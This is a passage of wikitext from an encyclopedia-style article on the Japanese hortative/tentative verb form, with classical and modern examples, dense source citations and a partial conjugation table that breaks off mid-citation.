{{#invoke:Nihongo|nihongo||水に'''溺れんとする'''者、助けの網を'''投ぜん'''者に全財產を'''與へんと約したりとせん'''に、それは當面の强制狀態己むなく約束したに外'''ならない'''が故にその約束を取消して宜しかるべく、<ref name=wada-1930>{{#invoke:cite|book|lang=ja|script-quote=ja:水に溺れんとする者、助けの網を投ぜん者に全財產を與へんと約したりとせんに、それは當面の强制狀態己むなく約束したに外ならないが故にその約束を取消して宜しかるべく、又旅行者が他國に在りて土地の人よりも高い支拂を甘じ又本國で支拂ふよりも高き支拂を甘す<sup>[''[[sic]]'']</sup>べく餘儀なくされたときにも亦何故支拂の取消が出來ないのか。|quote=Wenn der Ertrinkende, der für den ihm zugeworfenen Strick sein Vermögen verspricht, sein Versprechen anfechten darf, weil nur die Zwangslage, in der er sich befand, es ihm abnöthigte, warum nicht auch der Reisende, der auf der Reise genöthigt ist, sich höhere Preise gefallen zu lassen als der Einheimische, oder als er selber in seiner Heimath gezahlt haben würde?|trans-quote=Suppose that a drowning man promises to give all his fortune to whoever willing to cast a net to help, that is no other than promising involuntarily in a coercive state at hand, thus he is well within his rights to retract such promise; why then, when a traveller has no choice in another land but to submit to paying higher prices than the natives, or than what he would pay at home, can he not also retract the payments?|p=17|url=https://dl.ndl.go.jp/pid/1877339/1/17|script-chapter=ja:'''第一章''' 目的律 (das Zweckgesetz)|chapter=Kap. I. Das Zweckgesetz.|trans-chapter='''Chapter I.''' The Law of Purpose|series=Waseda Law Review|script-title=ja:「イエリング」法律目的論 IHERING’S THE END OF LAW|trans-title=Jhering on Purpose in the Law|title=Der Zweck im Recht von Rudolph von Jhering|authorlink=Rudolf von Jhering|first=Rudolph|last=von Jhering|volume=Ⅰ|translator-last=Wada|translator-first=Kojirō|date=10 September 1930|publisher=The Waseda University Law Association|location=[[Ushigome]], Tokyo}}</ref>|Mizu ni '''oboren to suru''' mono, tasuke no ami o '''tōzen''' mono ni zenzaisan o '''ataen to yakushitari to sen''' ni, sore wa tōmen no kyōsei jōtai yamu naku yakusoku shita ni hoka '''naranai''' ga yue ni sono yakusoku o torikeshite yoroshikaru beku,|{{xlat|Suppose that a drowning man promises to give all his fortune to whoever willing to cast a net to help, that is no other than promising involuntarily in a coercive state at hand, thus he is well within his rights to retract such promise;}}}}.
Some idioms derived from the classical hortative/tentative include {{#invoke:nihongo|nihongo||為ん方・詮方|sen kata|{{gloss|means}}, {{lit|method to do}}; synonymous with {{#invoke:nihongo|nihongo||仕方|shikata}}}},<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E7%82%BA%E3%82%93%E6%96%B9-549490|script-title=ja:為ん方|script-work=ja:コトバンク}}</ref> {{#invoke:nihongo|nihongo||為ん方無い・詮方無い|sen kata nai|{{gloss|be helpless}}, {{lit|be without any means}}}},<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E7%82%BA%E3%82%93%E6%96%B9%E7%84%A1%E3%81%84-549491|script-title=ja:為ん方無い|script-work=ja:コトバンク}}</ref><ref name=kenkyusha/> {{#invoke:nihongo|nihongo||言わん方無い・無し|iwan kata nai/nashi|{{gloss|be inutterable}}, {{lit|be without any way to say}}}},<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E8%A8%80%E3%82%8F%E3%82%93%E6%96%B9%E7%84%A1%E3%81%84-2004939|script-title=ja:言わん方無い|script-work=ja:コトバンク}}</ref> {{#invoke:nihongo|nihongo||有らん限り|aran kagiri|{{gloss|to the utmost}}, {{lit|limit of what could exist}}}},<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E6%9C%89%E3%82%89%E3%82%93%E9%99%90%E3%82%8A-428144|script-title=ja:有らん限り|script-work=ja:コトバンク}}</ref><ref name=kenkyusha/> etc.
Most verbs have hortative meanings, as in {{#invoke:nihongo|nihongo||しよう・しましょう|shiyō/shimashō|{{gloss|let's do it}}}}, although this can be interpreted as self‑tentative ("I'll probably do it"). To express tentativity unambiguously, ''darō''/''jarō'', ''de arō'' or ''deshō'' (or hyper‑politely, ''de gozaimashō''), which is unambiguously tentative, is added, as in {{#invoke:nihongo|nihongo||するだろう・するでしょう・しますでしょう|suru darō / suru deshō / shimasu deshō|{{gloss|he'll probably do it}}}}. In some cases where the subject lacks human agency, the tentative meaning is more plausible, for example, {{#invoke:nihongo|nihongo||曇ろう・曇りましょう|kumorō/kumorimashō}} means "it'll probably be cloudy" tentatively, not *"let's be cloudy" hortatively; {{#invoke:nihongo|nihongo||雨が降ろう・雨が降りましょう|ame ga furō / ame ga furimashō}} means "it'll probably rain", not *"let's rain"; {{#invoke:nihongo|nihongo||できよう・できましょう|dekiyō/dekimashō}} means "probably can" not *"let's be able". These have been increasingly replaced by {{#invoke:nihongo|nihongo||曇るだろう・曇るでしょう・曇りますでしょう|kumoru darō / kumoru deshō / kumorimasu deshō}}, {{#invoke:nihongo|nihongo||雨が降るだろう・雨が降るでしょう・雨が降りますでしょう|ame ga furu darō / ame ga furu deshō / ame ga furimasu deshō}} and {{#invoke:nihongo|nihongo||できるだろう・できるでしょう・できますでしょう|dekiru darō / dekiru deshō / dekimasu deshō}}. The rise of the ''darō''/''deshō''‑appended tentative, as in {{#invoke:nihongo|nihongo||雨が降る・降りますでしょう|ame ga furu/furimasu deshō|{{gloss|it'll probably rain}}}}, as a distinction in form from the original polysemous tentative/hortative, is attested from the early 19th century;{{sfnp|Martin|2004|p=605}} the use of the original tentative, as in {{#invoke:nihongo|nihongo||雨が降りましょう|ame ga furimashō}}, has become obsolescent or elevated.{{sfnp|Suzuki|2001|p=746}}
''Arō''/''arimashō'' and their derivatives tend to be tentative, and can be replaced with ''aru darō'' / ''aru deshō'' / ''arimasu deshō''.{{sfnp|Martin|2004|p=615}} The same applies to ''de arō'' / ''de arimashō'', which can be replaced with ''de aru darō'' / ''de aru deshō'' / ''de arimasu deshō''.<ref name=super-daijirin>{{#invoke:cite|book|year=2006|lang=ja|script-title=ja:スーパー大辞林|publisher=[[Sanseidō]]|last=Matsumura|first=Akira}}</ref> Adjectival tentatives such as {{#invoke:nihongo|nihongo||赤かろう|akakarō|{{gloss|it's probably red}}}} with a built‑in ''arō'' can be replaced with {{#invoke:nihongo|nihongo||赤いだろう・でしょう|akai darō/deshō}}.{{sfnp|Martin|2004|pp=605–615}} The eastern adjectival negative tentative ''‑nakarō'', as in {{#invoke:nihongo|nihongo||呼ばなかろう|yobanakarō|{{gloss|probably not call}}}}, {{#invoke:nihongo|nihongo||大きくなかろう|ōkiku nakarō|{{gloss|probably not big}}}} and {{#invoke:nihongo|nihongo||本で・じゃなかろう|hon de/ja nakarō|{{gloss|probably not a book}}}} are to be replaced with {{#invoke:nihongo|nihongo||〜ないだろう・でしょう|‑nai darō/deshō}}.{{sfnp|Martin|2004|p=606}} The past tentative ''‑ta/‑da darō/deshō'' are preferred to ''‑tarō/‑darō'',{{sfnp|Frellesvig|2010|pp=393–394}} ''deshita deshō'' to ''deshitarō'', and ''‑mashita deshō'' to ''‑mashitarō''. However, ''‑ta/‑da darō'' can be shortened back to ''‑ta/‑da 'rō'', albeit with different accent patterns; compare {{IPA|[táɾó(ò)]}} for ''‑tarō'',<ref>{{#invoke:cite|book|lang=ja|script-title=ja:新明解日本語アクセント辞典|page=101|script-chapter=ja:84 助動詞の活用形(表14)|editor-last=Kindaichi|editor-first=Haruhiko|editor-link=Haruhiko Kindaichi|editor-first2=Kazue|editor-last2=Akinaga|publisher=Sanseido|date=10 February 2015|location=[[Chiyoda, Tokyo]]|edition=2nd|orig-date=25 June 1958|isbn=978-4-385-13672-1}}</ref> and {{IPA|[tá {{pipe}} dàɾó(ò) → tá {{pipe}} ɾó(ò)]}} or {{IPA|[tá dàɾò(ò) → tá ɾò(ò)]}} for ''‑ta darō'' → ''‑ta 'rō''.{{sfnp|Martin|2004|p=605–607}} This contraction is transferable to the polite ''‑mashita 'rō'', which is still not quite the same as ''‑mashitarō'', but which does suggest an unabbreviated form, ''‑mashita darō'', with a mismatch in politeness, compared to the well‑formed polite ''‑mashita deshō''. {{harvcoltxt|Martin|2004|p=606}} doubted the plausibility of ''‑mashita darō'', but it is not impossible.<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:楠公は若し細川軍が先き廻りして居つたらば假令七十三騎と雖も之を以て細川軍を突破して義貞の爲めに血路を開く考でありましただろうが、|url=https://dl.ndl.go.jp/pid/1899648/1/21|page=32|script-chapter=ja:七、騎兵大襲擊の壯烈極まれる湊川戰|script-title=ja:大聖人楠公 (決戰と楠公精神の昂揚に就て)|publisher=The Society for Promotion of Japanese Diplomacy|date=10 July 1943|first=Yasakichi|last=Hayashi|location=Shitaya, Tokyo}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:RKK の見学に<ruby>大変<rp>(</rp><rt>たいへん</rt><rp>)</rp></ruby><ruby>感謝<rp>(</rp><rt>かんしゃ</rt><rp>)</rp></ruby>な<ruby>気持<rp>(</rp><rt>きも</rt><rp>)</rp></ruby>ちを<ruby>持<rp>(</rp><rt>も</rt><rp>)</rp></ruby>っております。とりわけ、<ruby>主催<rp>(</rp><rt>しゅさい</rt><rp>)</rp></ruby>の<ruby>担当者<rp>(</rp><rt>たんとうしゃ</rt><rp>)</rp></ruby><ruby>深水<rp>(</rp><rt>ふかみ</rt><rp>)</rp></ruby><ruby>様<rp>(</rp><rt>さま</rt><rp>)</rp></ruby> <ruby>一番<rp>(</rp><rt>いちばん</rt><rp>)</rp></ruby><ruby>苦労<rp>(</rp><rt>くろう</rt><rp>)</rp></ruby>してきましただろう。|script-title=ja:<ruby>日本<rp>(</rp><rt>にほん</rt><rp>)</rp></ruby><ruby>企業<rp>(</rp><rt>きぎょう</rt><rp>)</rp></ruby>の<ruby>技術<rp>(</rp><rt>ぎじゅつ</rt><rp>)</rp></ruby>の<ruby>高<rp>(</rp><rt>たか</rt><rp>)</rp></ruby>さに<ruby>関心<rp>(</rp><rt>かんしん</rt><rp>)</rp></ruby>|last=Jie|first=Yanzhen|page=8|script-journal=ja:留学生と語り合う|number=55|year=2014|url=https://rkk.world.coocan.jp/pdfj/news55th.pdf|location=[[Yokohama]], [[Kanagawa Prefecture|Kanagawa]]}}</ref><ref>{{#invoke:cite|news|lang=ja|script-quote=ja:しかしながら初めての司会という大役であったため、報告者の皆様と先生方に多々ご迷惑をお掛け致しましただろうこと、この場をお借りして心より御詫び申し上げます。|url=https://www.chuo-u.ac.jp/uploads/2016/10/08e15a94d46aa41f9dabf2edcb217d31-2.pdf|script-title=ja:10/1 に修士論文中間報告会が行われました!|script-work=ja:中央大学大学院経済学研究科 News|date=24 October 2016|first=Masato|last=Nakao|publisher=Graduate School of Economics, Chuo University}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:すると指導医のS 先生が胸ぐらを掴む勢いで近づいて来て激怒され、「お前、何を言ってるんだ!研修医だとしても、お前の責任のもとで、主治医として退院と致しましただろう!!」と。|trans-quote=And then, my supervising physician, Dr S, came up, forcefully grabbed me by the collar and told me off, "What are you talking about⁉ Even if you're just a resident, I approved the discharge as the attending on your account‼"|page=2|script-journal=ja:関西医療大学紀要|journal=The Bulletin of Kansai University of Health Sciences|volume=18|issn=1881-9184|publisher=Kansai University of Health Sciences|date=20 January 2025|location=[[Kumatori, Osaka]]|script-title=ja:社会人1年目に向けての雑感|last=Masuda|first=Ken'ichi|url=https://www.kansai.ac.jp/pdf/kuhs_kiyo_18.pdf}}</ref>
The western negative ''‑n(u)'' and ''‑zu'' take the [[classical Japanese|classical]] ''‑ji''<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%98-515282|script-title=ja:じ|script-work=ja:コトバンク}}</ref> for occasional elevated use, mostly followed by the quotative particle ''to'', as in {{#invoke:nihongo|nihongo||選手たちは歓呼の声に送られて、勝たずば生きて'''帰らじと'''いう意気で出てきてるわけですから、落ちると泣くですよ。|Senshutachi wa kanko no koe ni okurarete, katazuba ikite '''kaeraji to''' yū iki de dete kite 'ru wake desu kara, ochiru to naku desu yo.|{{xlat|The athletes, sent off by the cheering voices, appear with the spirit of "I shall not return alive unless I am victorious," so they weep when they lose.}}}}, as well as in some cliches such as {{#invoke:nihongo|nihongo||遅れじと|okureji to|{{gloss|not to fall behind; not to be outdone}}}}, {{#invoke:nihongo|nihongo||負けじと|makeji to|{{gloss|not to lose; unyieldingly}}}},{{sfnp|Martin|2004|pp=382, 611}} {{#invoke:nihongo|nihongo||負けじ魂|makeji tamashii|{{gloss|unyielding spirit}}}},<ref>{{#invoke:cite|web|url=https://kotobank.jp/word/%E8%B2%A0%E3%81%91%E3%81%98%E9%AD%82-633899|script-title=ja:負けじ魂|script-work=ja:コトバンク}}</ref> etc. The negative tentative/hortative has been expressed with the [[Japanese conjugation (imperfective form)#Conjugation table|attributive]] followed by [[Japanese conjugation (imperfective form)#Grammatical compatibility|''mai'']]; in the particular case of ''‑masen'', there is ''‑masu mai''.{{sfnp|Martin|2004|pp=606–607, 1030–1031}} In many non‑Tokyo eastern dialects, ''mai'' (← ''majii'') is the negative counterpart of the affirmative ''be(e)'' (← ''bei''), the regularly modernized adjectival form of [[Japanese conjugation (imperfective form)#Grammatical compatibility|''beki'']], which the Tokyo dialect does not use for tentative or hortative meanings.{{sfnp|Martin|2004|pp=608–609}} ''‑N darō<ref>{{#invoke:cite|book|lang=ja|quote="Who was this man?" said Abner.<br>"They will not tell who he was."<br>"Why not?"<br>"Now, Abner," cried Ward, "why not, indeed! Because there never was any such man. The story is a lie out of the whole cloth. Those two devils are guilty as hell. The proof is all dead against them."|script-quote=ja:「だれなんだね、その男というのは?」と、アブナーが言った。<br>「そいつは言わんだろうよ」<br>「なぜだね?」<br>「わかりきっているじゃないかね、アブナーさん!」と、ウォードは声を高めて、「そんな男など、いやしないからさ。なにもかもデタラメなのさ。あの二人が犯人であることはまちがいない。証拠は歴然としている」|script-chapter=ja:<ruby>黄昏<rp>(</rp><rt>たそがれ</rt><rp>)</rp></ruby>の怪事件|chapter=Chapter VII: A Twilight Adventure|title=Uncle Abner: Master of Mysteries|script-title=ja:アンクル・アブナーの叡智|authorlink=Melville Davisson Post|first=Melville Davisson|last=Post|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|translator-last=Yoshida|translator-first=Seiichi|date=17 August 2018|orig-date=1 January 1976}}</ref>/jarō<ref>{{#invoke:cite|book|lang=ja|page=375|script-quote=ja:おまえたちのような娘は知らんじゃろうが、やつらはマクドナ街道のほか、道路という道路は、馬車の通る道も、みんな押えてしまったのじゃ。|quote=Maybe you girls didn't know it, but they've got every road, too, every wagon lane and bridle path, except the McDonough road.|chapter=Chapter XIX|script-chapter=ja:19|script-title=ja:風と共に去りぬ|title=[[Gone with the Wind (novel)|Gone with the Wind]]|volume=Ⅰ|publisher=Shueisha|series={{#invoke:lang|lang|ja|世界文学全集}}|editor={{#invoke:lang|lang|ja|綜合社}}|location=[[Chiyoda, Tokyo]]|date=25 February 1978|orig-date=3 June 1977|translator-last=Ōkubo|translator-first=Yasuo|translator-first2=Michinosuke|translator-last2=Takeuchi|authorlink=Margaret Mitchell|first=Margaret Munnerlyn|last=Mitchell}}</ref>/de arō<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「まったくおれのようだ。おれと寸分ちがわぬ」と、その青年は感激して叫ぶとともに、自分もまた崇拝せる偶像に劣らず偉大な天才だということを、もはや疑わんであろう。|quote="Gerade wie ich, gerade wie ich", ruft der Jüngling begeiſtert aus und zweifelt nicht länger, daß auch er ein hoher Genius iſt trotz ſeinem angebeteten Jdol.|trans-quote="Just like me. Not unlike me at all," the youth cries in high delight, no longer doubting that he, too, is a great genius, no less than the idol he reveres.|script-title=ja:牡猫ムルの人生観|title=Lebens⸗Anſichten des Katers Murr|trans-title=[[The Life and Opinions of the Tomcat Murr|The Outlook on Life of the Tomcat Murr]]|script-chapter=ja:第一節 生存感 青春時代|trans-chapter=First Section. Sensations of Existence. The Times of Youth.|chapter=Erſter Abſchnitt. [I.] Gefühle des Daſeins. [II.] Die Monate der Jugend.|volume=1|translator-first=Shizuo|translator-last=Ishimaru|first=Ernst Theodor Amadeus|last=Hoffmann|authorlink=E. T. A. Hoffmann|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=6 October 2023}}</ref>/deshō''<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「あんたもわたしぐらいワニの経験があったら、そんなことは言わんでしょうね。一度浚い出すと、ワニはちゃんと<span style=text-emphasis:sesame>覚えて</span>いますよ。もう二度と姿を見せません。もう金輪際きませんよ。ワニにいくらかでも我慢がならないものがあるとすれば、それは浚い出されることですよ。それに、ただ押し出すんじゃない。すくったのは大抵船の上へすくい上げるんです。それを船倉に入れる。そして旅が終るとオーリンズから官製工場へ持っていくんです」|quote="If you had had as much experience of alligators as I have, you would n't talk like that. You dredge an alligator once and he's ''convinced''. It's the last you hear of ''him''. He would n't come back for pie. If there's one thing that an alligator is more down on than another, it's being dredged. Besides, they were not simply shoved out of the way ; the most of the scoopful were scooped aboard ; they emptied them into the hold ; and when they had got a trip, they took them to Orleans to the Government works."|script-chapter=ja:第二十四章 お忍び露見|chapter=Chapter XXIV. My Incognito Is Exploded.|authorlink=Mark Twain|first=Mark|last=Twain|title=[[Life on the Mississippi]]|script-title=ja:ミシシッピ河上の生活|volume=1|translator-last=Katsuura|translator-first=Yoshio|orig-date=1 March 1993|date=21 April 2023|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref> and ''‑masen deshō''{{sfnp|Martin|2004|pp=1030–1031}} are also used.
{| class="wikitable"
|-
! Dictionary form
! colspan=3 | Pattern {{sfnp|Makino|Tsutsui|2018|pp=576-579|loc="Appendix 1 Basic Conjugations" (Verbs)}}
! Hortative form
! Historical evolution{{sfnp|Frellesvig|2010|pp=349, 390–391}}
|-
! colspan=6 style=text-align:left | ''Godan'' and pseudo‑''yodan'' verbs
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|fasten|結う|yuu/yū}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|お}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably fasten|結おう|yuō}}
| rowspan=32 | {{ipa|/amu → aũ → ɔː → oː/<br>/amu → aN/}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably fasten|結わん|yuwan}}<br>{{#invoke:nihongo|nihongo_krt||結わむ|yuwamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|say|<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>う|yū}}
| rowspan=2 style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いお}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably say|言おう|iō}}
|-
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いわ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably say|言わん|iwan}}<br>{{#invoke:nihongo|nihongo_krt||言わむ|iwamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|commute|通う|kayou/kayō}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|通}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|通}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|お}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably commute|通おう|kayoō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|通}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably commute|通わん|kayowan}}<br>{{#invoke:nihongo|nihongo_krt||通わむ|kayowamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|pick up|拾う|hirou/hirō}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|拾}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|拾}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|お}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably pick up|拾おう|hiroō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|拾}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably pick up|拾わん|hirowan}}<br>{{#invoke:nihongo|nihongo_krt||拾わむ|hirowamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|win|勝つ|katsu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|つ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|と}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably win|勝とう|katō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|た}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably win|勝たん|katan}}<br>{{#invoke:nihongo|nihongo_krt||勝たむ|katamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|hunt|狩る|karu}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably hunt|狩ろう|karō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|let's/probably hunt|狩らん|karan}}<br>{{#invoke:nihongo|nihongo_krt||狩らむ|karamu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|exist|有る|aru}}
| rowspan=2 style="text-align:right" | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably exist|有ろう|arō}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:漢語の被動をどう理解するか,いろいろな立場があろうが,日頃教室でおこなわれている説明はおよそ次のようなものである。|url=https://www.jstage.jst.go.jp/article/chuugokugogaku1955/1974/220/1974_220_1/_pdf/-char/ja|script-title=ja:被動が成立する基礎 ――日本語などとの関連で――|page=1 |year=1974 |number=220 |script-journal=ja:中国語学|last=Ōkōchi|first=Yasunori}}</ref><ref>{{#invoke:cite|journal|lang=ja|url=https://www.jstage.jst.go.jp/article/jjep1953/30/1/30_64/_pdf|script-quote=ja:自己概念の構造の中での各側面の重要度を明らかにする必要があろう。|year=1982 |volume=30 |number=1 |page=64 |script-title=ja:認知された自己の諸側面の構造|last1=Yamamoto|first1=Mariko|last2=Matsui|first2=Yutaka|last3=Yamanari|first3=Yukiko|script-journal=ja:教育心理学研究}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:また上述した前処置の良否の問題もあろう.[…]特厳重な大腸内視鏡検査でのフォローアップがなされるべきどあろう.|page=1244 |script-title=ja:内視鏡的ポリペクトミー後の経過観察からみた大腸腫瘍性ポリープの見逃し,再発例の検討|script-journal=ja:日本消化器内視鏡学会雑誌|volume=31 |number=5 |year=1989 |url=https://www.jstage.jst.go.jp/article/gee1973b/31/5/31_5_1241/_pdf/-char/ja|last1=Okamoto|first1=Heiji|last2=Sasaki|first2=Tetsuji|last3=Satake|first3=Yoshiharu|last4=Tsubomizu|first4=Yoshimizu|last5=Fujita|first5=Rikiya}}</ref><ref>{{#invoke:cite|journal|url=https://www.jstage.jst.go.jp/article/jssep/44/0/44_521/_pdf/-char/ja|lang=ja|script-quote=ja:タイミングを逸してしまうこともあろう.|script-title=ja:コロナ禍における高等教育でのオンライン授業の可能性について ~学生のオンライン授業のための通信環境とICT 機器の所有状況に関する調査より~|title=Possibility of Online Classes in Higher Education at Post-COVID-19 -From a Survey on the Internet Environment and ICT Equipment Ownership for Students' Online Classes-|last=Kanoh|first=Hiroko|script-journal=ja:日本科学教育学会年会論文集|number=44 |publisher=Hyogo University of Teacher Education|date=25 August 2020}}</ref><ref name=seki-2022>{{#invoke:cite|journal|lang=ja|script-quote=ja:「役に立つ」とは「それ自体が深い構造をもっていて,理論か実用化かに限らず,将来の新しい分野に応用可能である」ということであろうかと,今は感じている.[…]最後に先生は何をおっしゃろうとしていたのであろうか.|page=24 |url=https://nagoya.repo.nii.ac.jp/record/2008543/files/2023_3_018.pdf|last=Seki|first=Hiroyuki|script-title=ja:情報学の研究者たちの喜怒哀楽|journal=Informatica|volume=3 |year=2022}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|有}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably exist|有らん|aran}}<br>{{#invoke:nihongo|nihongo_krt||有らむ|aramu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|give|下さる|kudasaru}}
| rowspan=2 style="text-align:right" | {{#invoke:lang|lang|ja|下さ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|下さ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably give|下さろう|kudasarō}}<ref name=kaizu>{{#invoke:cite|journal|lang=ja|pages=56–57|script-quote=ja:何物もこの世の死から救ってくれない。だから、いつも神に従ってあれ。[…]このおん方はお前に永遠の生命をお授け下さろう。[…]天の仲間のところへお連れ下さろう。|script-title=ja:「死の像」におけるデューラーとホルバイン|title="Imagines mortis" in Dürer and Holbein|last=Kaizu|first=Tadao|publisher={{#invoke:lang|lang|ja|慶應義塾大学藝文学会}}|date=May 1970|script-journal=ja:藝文研究|journal=Journal of Arts and Letters|volume=29}}</ref><ref>{{#invoke:cite|journal|url=https://kitami-it.repo.nii.ac.jp/record/6661/files/22-1-4.pdf|lang=ja|script-quote=ja:ヘーゲルを少しでも読んだ読者なら分かってくださろう|page=42 |script-title=ja:哲学の文体または叙述方法 (上) ―ヘーゲル・エンチクロペディー・コメンタール (O)―|last=Taniguchi|first=Takao|script-journal=ja:北見工業大学研究報告|volume=22 |number=1 |journal=Memoirs of the Kitami Institute of Technology|year=1990}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:姜先生もまずおいで下さろう。|page=555 |last=Jinbo|first=Genji|journal=Journal of the Society of Powder Technology, Japan |script-title=ja:粉体工学世界会議・プレビュー ―今年の9月,世界の粉体工学が京都に集る!―|script-journal=ja:粉体工学会誌|volume=27 |number=8 |year=1990 |doi=10.4164/sptj.27.551 |url=https://www.jstage.jst.go.jp/article/sptj1978/27/8/27_8_551/_article/-char/ja/}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:アッラーはおまえを守ってくださろう。|page=98 |script-title=ja:オサーマ・ビン・ラーデンの対米ジハード宣言|url=https://ir.ide.go.jp/record/28926/files/ZME200307_010.pdf|script-journal=ja:現代の中東|number=35 |year=2003 |last=Hosaka|first=Shūji}}</ref><ref>{{#invoke:cite|journal|url=https://yamagata.repo.nii.ac.jp/record/4049/files/ttrc-11-00110018.pdf|lang=ja|script-quote=ja:貸してくださろうというお気持ちがおありでしたら,|page=12 